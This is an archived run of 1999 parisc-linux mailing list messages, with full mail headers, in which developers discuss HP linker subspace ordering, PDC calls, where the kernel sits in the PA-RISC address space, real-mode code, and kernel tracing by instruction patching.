	Tue, 16 Nov 1999 20:35:56 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Tue, 16 Nov 1999 21:48:51 EST.
             <199911170248.VAA15412@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:6428


  In message <199911170248.VAA15412@hiauly1.hia.nrc.ca>you write:
  > > 
  > > Create a .o file which contains a DLT & AFTERDLT section.  Make sure the
  > > DLT section appears first in the object file (I'm assuming they have the
  > > same sort keys).  Referece that .o first on the link line.
  > 
  > As I noted, it appears to work as is.
Yea, but you appear to be depending on highly suspicious behavior.    The
trick of ordering subspaces in the first .o on the link line to provide an
ordering for the subspaces in the final executable relies on documented
behavior of the HP linker.


  > you know why the DLT section
  > disappeared when I used the sort key of 255 for AFTERDLT?  Although
  > I haven't tried it, it may not be possible to create an object file with
  > both DLT and AFTERDLT sections.
Not really.  I do know that we had major problems with pxdb (post-link 
processor
on HPs) mysteriously removing subspaces with sort keys of 255 in the past.

jeff


From - Thu Nov 08 21:11:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with HPMC code in interruption.S
Date: Wed, 17 Nov 1999 05:54:31 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <19991117055431.F750@mathe.stud.uni-erlangen.de>
References: <19991116104321.17833.rocketmail@web504.yahoomail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618642 28326 80.91.229.3 (22 Nov 2014 01:10:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:42 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich Strelow <ulrich_strelow@YAHOO.COM>
Original-X-From: prumpf@r.uni-erlangen.de  Tue Nov 16 22:39:50 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA11871
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 22:39:49 -0700
Original-Received: (qmail 23138 invoked by uid 15267); 17 Nov 1999 05:41:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23125 invoked from network); 17 Nov 1999 05:41:26 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 05:41:26 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Wed, 17 Nov 1999 06:41:23 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id FAA09591;
	Wed, 17 Nov 1999 05:55:31 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <19991116104321.17833.rocketmail@web504.yahoomail.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6429

> I have had the same problem yesterday (unresolved
> symbol os_hpmc). The simple solution is to include
> hpmc.o in arch/parisc/kernel/Makefile.

Not only is it simple, it's the right one, too.

> Although this works, I must admit that I don't
> understand the reason for this problem. I think that
> the reference in realmode_setup.c is commented out by
> if SETUP_HPMC which is set to 0...
> 
> Maybe someone else has an explantion for this.

It's referenced from interruption.S.

	Philipp Rumpf


From - Thu Nov 08 21:11:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] use of (*PAGE0->mem_pdc)()
Date: Wed, 17 Nov 1999 05:49:37 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <19991117054937.E750@mathe.stud.uni-erlangen.de>
References: <382F3C94.BFF3EB9D@uswest.net> <38309328.A734C736@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618642 28331 80.91.229.3 (22 Nov 2014 01:10:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:42 +0000 (UTC)
Cc: Parisc Linux <parisc-linux@thepuffingroup.com>
To: frowand@cup.hp.com
Original-X-From: prumpf@r.uni-erlangen.de  Tue Nov 16 22:39:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA11913
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 22:39:50 -0700
Original-Received: (qmail 23150 invoked by uid 15267); 17 Nov 1999 05:41:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23143 invoked from network); 17 Nov 1999 05:41:27 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 05:41:27 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Wed, 17 Nov 1999 06:41:25 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id FAA20889;
	Wed, 17 Nov 1999 05:50:37 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <38309328.A734C736@hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6430

> >   pret = (*PAGE0->mem_pdc)(
> >   PDC_BLOCK_TLB,
> >   PDC_BTLB_INSERT,

> I would recommend that we quit using the pointer to PDCE_PROC() that
> is in page zero, because the newer machines have a PDC procedure,
> PDC_RELOCATE(), that copies PDCE_PROC into real memory, where it
> executes much faster.  The page zero pointer to PDCE_PROC() is not
> updated by PDC_RELOCATE(), but instead a pointer to the in-memory
> PDCE_PROC() is returned.
> 
> I recommend using a global variable to hold the pointer to PDCE_PROC(),
> which would be the value from page zero initially, then updated to
> the value returned by PDC_RELOCATE().

Not only is it is a potential performance problem to use (PAGE0->mem_pdc),
it's arguably ugly and problematic for SMP as well.  There is an interface
in place to call pdc (even for real-mode code now) and there shouldn't be
a problem using that.

	Philipp Rumpf


From - Thu Nov 08 21:11:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Tue, 16 Nov 1999 18:17:11 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <19991116181711.D750@mathe.stud.uni-erlangen.de>
References: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com> <199911150736.XAA14959@opus.allegro.com> <19991115092549.G30917@mathe.stud.uni-erlangen.de> <383093DE.A8B73CE4@hp.com> <3830A4C6.C2CB788@nrc.ca> <19991116133919.A25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618643 28338 80.91.229.3 (22 Nov 2014 01:10:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:43 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc.ca>, frowand@cup.hp.com,
        Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com,
        Alex deVries <adevries@thepuffingroup.com>
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: prumpf@r.uni-erlangen.de  Tue Nov 16 22:40:03 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA12043
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 22:40:02 -0700
Original-Received: (qmail 23205 invoked by uid 15267); 17 Nov 1999 05:41:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23179 invoked from network); 17 Nov 1999 05:41:39 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 05:41:39 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Wed, 17 Nov 1999 06:41:32 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id SAA01241;
	Tue, 16 Nov 1999 18:18:11 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <19991116133919.A25252@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6431

> > I think it was done to simplify the syscall interface.

> Nope.  Maybe we'll need a slightly different syscall entry path depending
> on where the kernel ends up, but choosing where the kernel lives will have
> no material effect on syscalls.  About the only place which is undesirable
> for the kernel to live is 0xc000'0000 :-)

Actually, that's not even true because of our space register usage.  IIRC the
syscall page is at SR7 / 0xc000 0000 (SR7 may be written to in PL 0 only) so
there is nothing preventing us from setting the space register to something
different from 0x0000 0000 and managing a TLB entry for it - nothing but lazi-
ness, that is.

	Philipp Rumpf


From - Thu Nov 08 21:11:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philippe Benard <phi@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Wed, 17 Nov 1999 09:14:53 +0100
Organization: WTEC
Lines: 98
Approved: news@gmane.org
Message-ID: <383263FD.E8976EFC@hpfrcu03.france.hp.com>
References: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com> <199911150736.XAA14959@opus.allegro.com> <19991115092549.G30917@mathe.stud.uni-erlangen.de> <383093DE.A8B73CE4@hp.com> <19991116170819.B750@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618643 28345 80.91.229.3 (22 Nov 2014 01:10:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:43 +0000 (UTC)
Cc: frowand@cup.hp.com, parisc-linux@thepuffingroup.com,
        Alex deVries <adevries@thepuffingroup.com>
To: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Original-X-From: phi@hpfrcu03.france.hp.com  Wed Nov 17 01:10:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA12640
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 01:10:52 -0700
Original-Received: (qmail 24177 invoked by uid 15267); 17 Nov 1999 08:12:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24167 invoked from network); 17 Nov 1999 08:12:30 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 08:12:30 -0000
Original-Received: from iws1pb01.france.hp.com (iws1pb01.france.hp.com [15.124.72.10])
	by atlrel1.hp.com (Postfix) with ESMTP
	id CE4E5A28; Wed, 17 Nov 1999 03:12:26 -0500 (EST)
Original-Received: from hpfrcu03.france.hp.com (localhost [127.0.0.1]) by iws1pb01.france.hp.com with ESMTP (8.7.1/8.7.1) id JAA01340; Wed, 17 Nov 1999 09:14:53 +0100 (MET)
Original-Sender: phi@hpfrcu81.france.hp.com
X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6432

Philipp Rumpf wrote:
> 
> > This is just one of several recent messages dealing with the issues caused by
> > locating the kernel at virtual address 0xc0000000 instead of 0x00000000.  I



Hi All,
Sorry for beeing a little out of phase with you this is the magic of the
timezone :-)

On the other I can read all the trail before reply.


First of all I may have started the 'trouble' by saying low virtual addr (that
can be mapped to low physical addr generally know as equiv map) I didn't meant
necessary starting at 0x0, I think I even say start mapping at anything after
page 0, it seems obvious that catch NULL deref in kernel mode is essential.

Regarding factoring kernel text pages, it could be accomplished by either
block tlb or super page depending on arch capability.

There where a reference about 'HP way of thinking the OS' versus rest of the
world, I would like to mention here that based on the french proverb 'who
loves well flame well' I love hp-ux and I'm the first to blame a lot of its
weaknesse. When I writing here I put my 'HP view' on the side, yet I'm
thinking the architecture we want to write an OS on will influence the OS
design. Here we have a 1Gb segmented machine, with virtual cache, and TLB,
this is definitly different from a 68K linear 4Gb with MMU. I think mastering
hppa is tough, and a laverage what the hpux designer did well or even goofed
if any would save time.

There is a reference about recognising a user pointer and a kernel pointer,
that something I don't understand due to lack of knowledge of the underlying
design. 
This sounds like (hope I'm wrong) user pointer and kernel pointer are
recognisable by their hi-bits (i.e quad selector), this would mean that
0xCafeCafe is recognised as kernel addr while 0x000F0FF is recognised as a
user addr, this imply the 0xc....... is not part of the user virtual adresse
space, this imply a user process is not 4 Gb capable (well it never will on
PA1.1 since we indeed need a UAREA, IO space, gateway page) 

This fear about user proces VAS (virtual adresse space) seem confirmed by
another reference to 'avoiding to use the space register at all) using space
register is the way to design multiple VAS, i.e one for user process for
instance, and one completly different for the kernel space, i.e how we use
those quadran in a given mode, I saw a reference about the user space layout
(text/data/shared data) but yet nothing abot the kernel, (kernel text/ data/
buffer cache/ other stuff)

I think the user virtual adress space must be design to allow a somewhat
linear view, allowing big chunck of vm, for instance a 2.5 Gb malloc (or
mmap). HP design is not good at that, while a new OS can learn what was wrong
with HP-UX and try to do better, on the other hand if the 0xcxxxxxxx is simply
removed from the user VAS, I think it is worst than HP-UX (process limited to
3 Gb by lack of last quad)

Now an hacker need. Dunno how it fit with current implementation of vmlinux,
but in case someday someone want to design a kernel tracer, that can be
install/desinstalled on the fly, a common hppa dependent implementation is to
divert the kernel code flow, i.e patch an instruction with a branch somewhere,
this could be assimilated to patching with a break instruction, as any debuger
the original instruct before patch would be saved for differed execution. For
break kind of implementation, this would mean debugger kind of ptrace, i.e get
the trap, restore instruction , single step, re-install the break, blah blah.
this is costly for tracing, another implementation is simply to stick a branch
to a tracer stub, and the tracer will one way or another execute the original
saved instruction, this limit patchable instruction to one that can be defered
(i.e non pc relative and non branch or delay slot kind) let simplify with
ld/st only.
Then you will discover the only possible instruction to use for branching is
the BLE within low virtual addr i.e using no base register 
BLE trace_stub(0,0) 
The tracer got the caller rp in r31 and then can identify the tracepoint and
manage it.
A single instruction patch is the easiest way to do it specillay on MP, no
spinlock needed to patch the trace point.
This is what ktracer is doing on hpux, this is what I'm doing in my own kernel
tracer, removing this possibilty somewhat reduce the supportability of the
target OS. I understand though that linux come with sources, then it is just a
matter to turn some compile flage to get any trace you want, but it happen
that on some site critical, being able to trace on a fly a kernel that was not
compiled for this on purpose is an ass saver (sometime) (well the tracer may
panic :-)

So the current 0xc0000000 may still allow this kind of tracer assuming we can
get kernel pages on the fly in those low virtual addr.

I rekon it is not easy to see its old habit going away, there where
interesting thing with hpux :-) well long live to vmlinux though, I bet my
kids are laughing (they are linux fan then we got animated meals :-)

Phi

--
mailto:phi@hpfrcu81.france.hp.com
WTEC Project. Kernel debugging tools


From - Thu Nov 08 21:11:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Today's boot experience on a 735
Date: Wed, 17 Nov 1999 12:34:47 -0500 (EST)
Lines: 97
Approved: news@gmane.org
Message-ID: <199911171734.MAA16975@hiauly1.hia.nrc.ca>
References: <1129.942809756@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618643 28354 80.91.229.3 (22 Nov 2014 01:10:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:43 +0000 (UTC)
Cc: bame@debian.fc.hp.com, parisc-linux@thepuffingroup.com
To: law@cygnus.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Nov 17 10:34:44 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA14090
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 10:34:43 -0700
Original-Received: (qmail 19765 invoked by uid 15267); 17 Nov 1999 17:36:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19741 invoked from network); 17 Nov 1999 17:36:12 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 17:36:12 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id MAA16975;
	Wed, 17 Nov 1999 12:34:47 -0500 (EST)
In-Reply-To: <1129.942809756@upchuck> from "Jeffrey A Law" at Nov 16, 99 08:35:56 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6433

>   > you know why the DLT section
>   > disappeared when I used the sort key of 255 for AFTERDLT?  Although
>   > I haven't tried it, it may not be possible to create an object file with
>   > both DLT and AFTERDLT sections.
> Not really.  I do know that we had major problems with pxdb (post-link 
> processor
> on HPs) mysteriously removing subspaces with sort keys of 255 in the past.

I did a little testing with your second suggestion.  What happens
is DLT is empty except for the one symbol that I created in it.  The linker
always goes last and it seems to dump the common symbols into the last
section with sort key 255.  I think DLT was deleted because it was
empty.

Is there a solution that doesn't rely on this obscure linker behaviour?
I think that if gas were modified to allocate common symbols in a special
section, then we wouldn't have this problem.  However, I think this would
require that common symbols would always have to be fixed in size. While
this is normal practice in C, the assembler would not work with fortran
where it is normal practice to have common blocks of varying size.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 14:50:11 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03449
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:50:11 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:50:11 PST
Received: from smtp01.primenet.com (daemon@smtp01.primenet.com [206.165.6.131])
	by primenet.com (8.8.8/8.8.5) with ESMTP id OAA19704
	for <pcj@smtp-local.primenet.com>; Tue, 9 Mar 1999 14:30:08 -0700 (MST)
Received: (from daemon@localhost)
	by smtp01.primenet.com (8.8.8/8.8.8) id OAA20438
	for <pcj@primenet.com>; Tue, 9 Mar 1999 14:31:15 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp01.primenet.com, id smtpd020393; Tue Mar  9 14:31:13 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id PAA15721;
	Tue, 9 Mar 1999 15:54:52 -0500
Resent-Date: Tue, 9 Mar 1999 15:54:52 -0500
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
Date: Tue, 9 Mar 1999 15:54:34 -0500 (EST)
From: Alex deVries <adevries@redhat.com>
X-Sender: adevries@devserv.devel.redhat.com
To: hppa-linux@thepuffingroup.com
Message-ID: <Pine.LNX.3.96.990309154910.5280A-100000@devserv.devel.redhat.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Subject: [hppa-linux] Initial documentation release from HP.
Resent-Message-ID: <"0Uezx3.0.Zr3.RgOvs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/151
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 68fedbf5272226129fe6161dfff36dd5
Status: RO
Lines: 28
Xref: merlin.pcj.primenet.com palinux:122


With advice from The Puffin Group, HP has released documentation on basic
bootup sequences, including IMM layout, OS requirements for PDC, PDC
itself for both PARISC 1.1 and 2.0, version numbering and IODC. As well,
we have details of what's in what hardware from 1997 backwards.

This is solid proof that HP is behind this port, and I think this gives
our project an excellent start.  We now have the docs necessary to get a
basic kernel starting, including boot sequences and console interaction.

The easiest way to get to this documentation is to go to the Available
Resources section at http://thepuffingroup.com/parisc/ .

Many thanks to everyone at HP who made this possible.

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
HPPA/Linux Porting Team


-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Wed, 17 Nov 1999 07:12:26 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <19991117071226.G750@mathe.stud.uni-erlangen.de>
References: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com> <199911150736.XAA14959@opus.allegro.com> <19991115092549.G30917@mathe.stud.uni-erlangen.de> <383093DE.A8B73CE4@hp.com> <19991116170819.B750@mathe.stud.uni-erlangen.de> <3831CFF0.F4B3CE3E@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618644 28360 80.91.229.3 (22 Nov 2014 01:10:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: frowand@cup.hp.com
Original-X-From: prumpf@r.uni-erlangen.de  Wed Nov 17 10:42:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA14265
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 10:42:55 -0700
Original-Received: (qmail 23171 invoked by uid 15267); 17 Nov 1999 17:44:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23163 invoked from network); 17 Nov 1999 17:44:34 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 17:44:34 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Wed, 17 Nov 1999 18:44:29 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id HAA09844;
	Wed, 17 Nov 1999 07:13:26 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <3831CFF0.F4B3CE3E@hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6434

>    - C code that needs to run in real mode seems to be rather fragile, given
>      Paul's recent experience with head.c.  (I think it was Paul.)

We do need some tricks to get C code to run in real-mode, and several people
are working on them.

When the kernel is mapped, we need to be extremely careful not to hit a
vmalloced area or something when we call C code that should run in virtual
mode in real mode.

It's letting the code fail obviously, for all cases, or letting easy code work
now and wait for subtle bugs to occur.

Which one do you prefer ?

>    - A single instance of code can't (easily) be coded to be able to run both
>      in real mode and in virtual mode.

That's true when we map the kernel at 0x0000 0000 as well.  Again, it's
an obvious bug or a subtle one.

>  - It's real easy to mis-code real mode assembly (eg. use the PA() macro when
>    it shouldn't be used or don't use it when it should be used).

Is there any situation where you should not use PA() for a symbol in real-mode
assembly ?  I agree branches are a bit difficult because the right way to code
them is

	.+(PA(symbol)-PA(.))

but

	symbol

right now happens to work (this is good luck).


I agree the PA() macro isn't a nice thing to use and if we have a chance to get
rid of it, we should have a serious look.  

>    - Issues with coherent I/O.

I don't see them.  I see issues with the architecture specification, but I do
not believe there is any actual hardware around that depends on this issues.

As far as I understood the implementation of cache-coherent I/O, what basically
happens is:

 - I/O controller wants to access physical adress 0x1234 5678
 - the I/O controller puts a special cycle on the bus it shares with the CPU(s)
   that basically says "hey, if you have address 0x1234 5678 in your cache and
   need to write it back, do it now"
 - all CPUs have a look at the cache lines corresponding to 0x1234 5678, which
   is the same cache lines as the one used for 0x9234 5678 (very very likely).
 - all CPUs have a look at the tags of these cache lines, which happen to be
   physical so 0x1234 5678 and 0x9234 5678 result in the same thing again.
 - the guilty CPU gives back the cache line, or none does if the line doesn't
   happen to be in the cache.

Furthermore, there is no publically documented coherent I/O system from HP yet
so we have just to assume hardware we only heard rumours about will be sane
once we get to see it. 

	Philipp Rumpf


From - Thu Nov 08 21:11:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Wed, 17 Nov 1999 07:21:41 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <19991117072141.H750@mathe.stud.uni-erlangen.de>
References: <19991116174733.C750@mathe.stud.uni-erlangen.de> <199911170006.QAA27014@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618644 28363 80.91.229.3 (22 Nov 2014 01:10:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:44 +0000 (UTC)
Cc: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@r.uni-erlangen.de  Wed Nov 17 10:42:57 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA14307
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 10:42:57 -0700
Original-Received: (qmail 23190 invoked by uid 15267); 17 Nov 1999 17:44:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23180 invoked from network); 17 Nov 1999 17:44:35 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 17:44:35 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Wed, 17 Nov 1999 18:44:31 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id HAA09850;
	Wed, 17 Nov 1999 07:22:41 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911170006.QAA27014@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6435

> > Note that 3.75 GB userspace isn't a problem with either.  My A class looks
> > pretty packed with 768 MB RAM so I doubt you could fit more than 1.75 GB in
> > many pa1.1 boxes.
> 
> a180.pdf says A-class supports 2GB. And that's the "smallest" box HP

To support 2 GB (instead of 1.75 GB) we indeed need to do some additional
tricks (such as mapping the I/O range somewhere else, ugh).

Any PA1.0 box around on which we waste more than 256 MB ?

	Philipp Rumpf


From - Thu Nov 08 21:11:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Wed, 17 Nov 1999 14:00:19 +0100
Lines: 85
Approved: news@gmane.org
Message-ID: <19991117140019.J750@mathe.stud.uni-erlangen.de>
References: <E11nhb8-0002Zh-00@the-village.bc.nu> <383145A5.C2AF5857@hpfrcu03.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618644 28368 80.91.229.3 (22 Nov 2014 01:10:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:44 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>, frowand@cup.hp.com,
        Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com, adevries@thepuffingroup.com
